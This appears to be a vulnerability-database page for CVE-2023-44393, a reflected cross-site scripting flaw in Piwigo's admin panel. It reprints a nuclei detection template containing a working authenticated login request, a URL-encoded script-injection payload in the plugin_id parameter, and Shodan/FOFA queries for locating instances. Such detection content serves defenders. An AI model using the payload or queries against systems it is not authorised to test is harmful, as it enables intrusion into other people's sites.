HexBrain

Browse / CVEs / CVE-2023-44393

CVE-2023-44393· piwigo / piwigo· CWE-79

Piwigo - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
72%of all CVEs are less likely
Readycheck to confirm it

Piwigo is vulnerable to a reflected XSS in the admin panel where the `plugin_id` parameter is not properly sanitized.

Impact

Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.

Fix

Update Piwigo to the latest version to mitigate the reflected XSS vulnerability.

How to confirm it

Send: POST /identification.php ; GET /admin.php?page=plugins&tab=new&installstatus=ok&plugin_id=nfez2%22%3E%3Cscript%3Eprompt(document.domain)%3C%2fscript%3Ehkugi
Positive when: contains in body_2 "<script>prompt(document.domain)</script>" and "The plugin has been successfully copied" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-44393 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-44393

info:
  name: Piwigo - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Piwigo is vulnerable to a reflected XSS in the admin panel where the `plugin_id` parameter is not properly sanitized.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update Piwigo to the latest version to mitigate the reflected XSS vulnerability.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-qg85-957m-7vgg
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44393
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44393
    cwe-id: CWE-79
    epss-score: 0.01332
    epss-percentile: 0.71346
    cpe: cpe:2.3:a:piwigo:piwigo:*:*:*:*:*:*:*:*
  metadata:
    vendor: piwigo
    product: piwigo
    shodan-query: http.favicon.hash:540706145
    fofa-query: title="piwigo"
  tags: cve,cve2023,piwigo,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /identification.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&login=

      - |
        GET /admin.php?page=plugins&tab=new&installstatus=ok&plugin_id=nfez2%22%3E%3Cscript%3Eprompt(document.domain)%3C%2fscript%3Ehkugi HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>prompt(document.domain)</script>"
          - "The plugin has been successfully copied"
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from